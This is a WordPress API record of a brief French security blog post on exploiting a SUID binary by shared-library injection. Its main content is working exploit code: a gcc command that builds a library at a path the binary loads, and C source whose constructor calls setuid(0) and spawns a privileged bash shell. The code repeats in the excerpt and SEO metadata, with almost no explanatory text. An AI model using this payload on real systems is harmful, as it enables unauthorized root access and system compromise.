{"id":587,"date":"2021-07-20T17:27:19","date_gmt":"2021-07-20T22:27:19","guid":{"rendered":"https:\/\/www.searchevolution.com\/security\/?p=587"},"modified":"2022-04-27T07:51:52","modified_gmt":"2022-04-27T12:51:52","slug":"injection-de-code-lors-de-lexecution-dun-binaire-suid","status":"publish","type":"post","link":"https:\/\/www.searchevolution.com\/security\/2021\/07\/20\/injection-de-code-lors-de-lexecution-dun-binaire-suid\/","title":{"rendered":"Injection de code lors de l&rsquo;ex\u00e9cution d&rsquo;un binaire suid"},"content":{"rendered":"<p><strong>suid injection<\/strong><\/p>\n<p><pre><code class=\"preserve-code-formatting\">#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n\ntoinject.c\ngcc -shared -fPIC -o \/home\/user\/.config\/libcalc.so toinject.c #par exemple, en utilisant strace, on se rend compte que le binaire essaie de charger \/home\/user\/.config\/libcalc.so\n\ntoinject.c\nstatic void inject() __attribute__((constructor));\n\nvoid inject() {\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;setuid(0);\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;system(&quot;\/bin\/bash -p&quot;);\n}<\/code><\/pre><\/p>\n","protected":false},"excerpt":{"rendered":"<p>suid injection #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; toinject.c gcc -shared -fPIC -o \/home\/user\/.config\/libcalc.so toinject.c #par exemple, en utilisant strace, on se rend compte que le binaire essaie de charger \/home\/user\/.config\/libcalc.so toinject.c static void inject() __attribute__((constructor)); void inject() { &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;setuid(0); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;system(&quot;\/bin\/bash -p&quot;); }<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[22,18],"tags":[],"class_list":["post-587","post","type-post","status-publish","format-standard","hentry","category-exploit","category-linux"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.8 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Injection de code lors de l&#039;ex\u00e9cution d&#039;un binaire suid - S\u00e9curiser votre site<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.searchevolution.com\/security\/2021\/07\/20\/injection-de-code-lors-de-lexecution-dun-binaire-suid\/\" \/>\n<meta property=\"og:locale\" content=\"fr_CA\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Injection de code lors de l&#039;ex\u00e9cution d&#039;un binaire suid - S\u00e9curiser votre site\" \/>\n<meta property=\"og:description\" content=\"suid injection #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; toinject.c gcc -shared -fPIC -o \/home\/user\/.config\/libcalc.so toinject.c #par exemple, en utilisant strace, on se rend compte que le binaire essaie de charger \/home\/user\/.config\/libcalc.so toinject.c static void inject() __attribute__((constructor)); void inject() { &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;setuid(0); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;system(&quot;\/bin\/bash -p&quot;); }\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.searchevolution.com\/security\/2021\/07\/20\/injection-de-code-lors-de-lexecution-dun-binaire-suid\/\" \/>\n<meta property=\"og:site_name\" content=\"S\u00e9curiser votre site\" \/>\n<meta property=\"article:published_time\" content=\"2021-07-20T22:27:19+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2022-04-27T12:51:52+00:00\" \/>\n<meta name=\"author\" content=\"Germain\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u00c9crit par\" \/>\n\t<meta name=\"twitter:data1\" content=\"Germain\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/07\\\/20\\\/injection-de-code-lors-de-lexecution-dun-binaire-suid\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/07\\\/20\\\/injection-de-code-lors-de-lexecution-dun-binaire-suid\\\/\"},\"author\":{\"name\":\"Germain\",\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/#\\\/schema\\\/person\\\/84a6ede19ffc8428d804d96f1e476245\"},\"headline\":\"Injection de code lors de l&rsquo;ex\u00e9cution d&rsquo;un binaire suid\",\"datePublished\":\"2021-07-20T22:27:19+00:00\",\"dateModified\":\"2022-04-27T12:51:52+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/07\\\/20\\\/injection-de-code-lors-de-lexecution-dun-binaire-suid\\\/\"},\"wordCount\":14,\"commentCount\":0,\"articleSection\":[\"Exploit\",\"Linux\"],\"inLanguage\":\"fr-CA\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/07\\\/20\\\/injection-de-code-lors-de-lexecution-dun-binaire-suid\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/07\\\/20\\\/injection-de-code-lors-de-lexecution-dun-binaire-suid\\\/\",\"url\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/07\\\/20\\\/injection-de-code-lors-de-lexecution-dun-binaire-suid\\\/\",\"name\":\"Injection de code lors de l'ex\u00e9cution d'un binaire suid - S\u00e9curiser votre site\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/#website\"},\"datePublished\":\"2021-07-20T22:27:19+00:00\",\"dateModified\":\"2022-04-27T12:51:52+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/#\\\/schema\\\/person\\\/84a6ede19ffc8428d804d96f1e476245\"},\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/07\\\/20\\\/injection-de-code-lors-de-lexecution-dun-binaire-suid\\\/#breadcrumb\"},\"inLanguage\":\"fr-CA\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/07\\\/20\\\/injection-de-code-lors-de-lexecution-dun-binaire-suid\\\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/07\\\/20\\\/injection-de-code-lors-de-lexecution-dun-binaire-suid\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Injection de code lors de l&#8217;ex\u00e9cution d&#8217;un binaire suid\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/#website\",\"url\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/\",\"name\":\"S\u00e9curiser votre site\",\"description\":\"Conna\u00eetre son ennemi\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"fr-CA\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/#\\\/schema\\\/person\\\/84a6ede19ffc8428d804d96f1e476245\",\"name\":\"Germain\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"fr-CA\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/53421a56f005c0c1d346424eabcd7f752acb999ddca39a31e2bbb5efc4606161?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/53421a56f005c0c1d346424eabcd7f752acb999ddca39a31e2bbb5efc4606161?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/53421a56f005c0c1d346424eabcd7f752acb999ddca39a31e2bbb5efc4606161?s=96&d=mm&r=g\",\"caption\":\"Germain\"},\"sameAs\":[\"https:\\\/\\\/www.searchevolution.com\\\/security\"],\"url\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/author\\\/germain\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Injection de code lors de l'ex\u00e9cution d'un binaire suid - S\u00e9curiser votre site","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.searchevolution.com\/security\/2021\/07\/20\/injection-de-code-lors-de-lexecution-dun-binaire-suid\/","og_locale":"fr_CA","og_type":"article","og_title":"Injection de code lors de l'ex\u00e9cution d'un binaire suid - S\u00e9curiser votre site","og_description":"suid injection #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; toinject.c gcc -shared -fPIC -o \/home\/user\/.config\/libcalc.so toinject.c #par exemple, en utilisant strace, on se rend compte que le binaire essaie de charger \/home\/user\/.config\/libcalc.so toinject.c static void inject() __attribute__((constructor)); void inject() { &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;setuid(0); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;system(&quot;\/bin\/bash -p&quot;); }","og_url":"https:\/\/www.searchevolution.com\/security\/2021\/07\/20\/injection-de-code-lors-de-lexecution-dun-binaire-suid\/","og_site_name":"S\u00e9curiser votre site","article_published_time":"2021-07-20T22:27:19+00:00","article_modified_time":"2022-04-27T12:51:52+00:00","author":"Germain","twitter_card":"summary_large_image","twitter_misc":{"\u00c9crit par":"Germain"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.searchevolution.com\/security\/2021\/07\/20\/injection-de-code-lors-de-lexecution-dun-binaire-suid\/#article","isPartOf":{"@id":"https:\/\/www.searchevolution.com\/security\/2021\/07\/20\/injection-de-code-lors-de-lexecution-dun-binaire-suid\/"},"author":{"name":"Germain","@id":"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/84a6ede19ffc8428d804d96f1e476245"},"headline":"Injection de code lors de l&rsquo;ex\u00e9cution d&rsquo;un binaire suid","datePublished":"2021-07-20T22:27:19+00:00","dateModified":"2022-04-27T12:51:52+00:00","mainEntityOfPage":{"@id":"https:\/\/www.searchevolution.com\/security\/2021\/07\/20\/injection-de-code-lors-de-lexecution-dun-binaire-suid\/"},"wordCount":14,"commentCount":0,"articleSection":["Exploit","Linux"],"inLanguage":"fr-CA","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/www.searchevolution.com\/security\/2021\/07\/20\/injection-de-code-lors-de-lexecution-dun-binaire-suid\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/www.searchevolution.com\/security\/2021\/07\/20\/injection-de-code-lors-de-lexecution-dun-binaire-suid\/","url":"https:\/\/www.searchevolution.com\/security\/2021\/07\/20\/injection-de-code-lors-de-lexecution-dun-binaire-suid\/","name":"Injection de code lors de l'ex\u00e9cution d'un binaire suid - S\u00e9curiser votre site","isPartOf":{"@id":"https:\/\/www.searchevolution.com\/security\/#website"},"datePublished":"2021-07-20T22:27:19+00:00","dateModified":"2022-04-27T12:51:52+00:00","author":{"@id":"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/84a6ede19ffc8428d804d96f1e476245"},"breadcrumb":{"@id":"https:\/\/www.searchevolution.com\/security\/2021\/07\/20\/injection-de-code-lors-de-lexecution-dun-binaire-suid\/#breadcrumb"},"inLanguage":"fr-CA","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.searchevolution.com\/security\/2021\/07\/20\/injection-de-code-lors-de-lexecution-dun-binaire-suid\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.searchevolution.com\/security\/2021\/07\/20\/injection-de-code-lors-de-lexecution-dun-binaire-suid\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.searchevolution.com\/security\/"},{"@type":"ListItem","position":2,"name":"Injection de code lors de l&#8217;ex\u00e9cution d&#8217;un binaire suid"}]},{"@type":"WebSite","@id":"https:\/\/www.searchevolution.com\/security\/#website","url":"https:\/\/www.searchevolution.com\/security\/","name":"S\u00e9curiser votre site","description":"Conna\u00eetre son ennemi","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.searchevolution.com\/security\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"fr-CA"},{"@type":"Person","@id":"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/84a6ede19ffc8428d804d96f1e476245","name":"Germain","image":{"@type":"ImageObject","inLanguage":"fr-CA","@id":"https:\/\/secure.gravatar.com\/avatar\/53421a56f005c0c1d346424eabcd7f752acb999ddca39a31e2bbb5efc4606161?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/53421a56f005c0c1d346424eabcd7f752acb999ddca39a31e2bbb5efc4606161?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/53421a56f005c0c1d346424eabcd7f752acb999ddca39a31e2bbb5efc4606161?s=96&d=mm&r=g","caption":"Germain"},"sameAs":["https:\/\/www.searchevolution.com\/security"],"url":"https:\/\/www.searchevolution.com\/security\/author\/germain\/"}]}},"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/posts\/587","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/comments?post=587"}],"version-history":[{"count":2,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/posts\/587\/revisions"}],"predecessor-version":[{"id":589,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/posts\/587\/revisions\/589"}],"wp:attachment":[{"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/media?parent=587"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/categories?post=587"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/tags?post=587"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}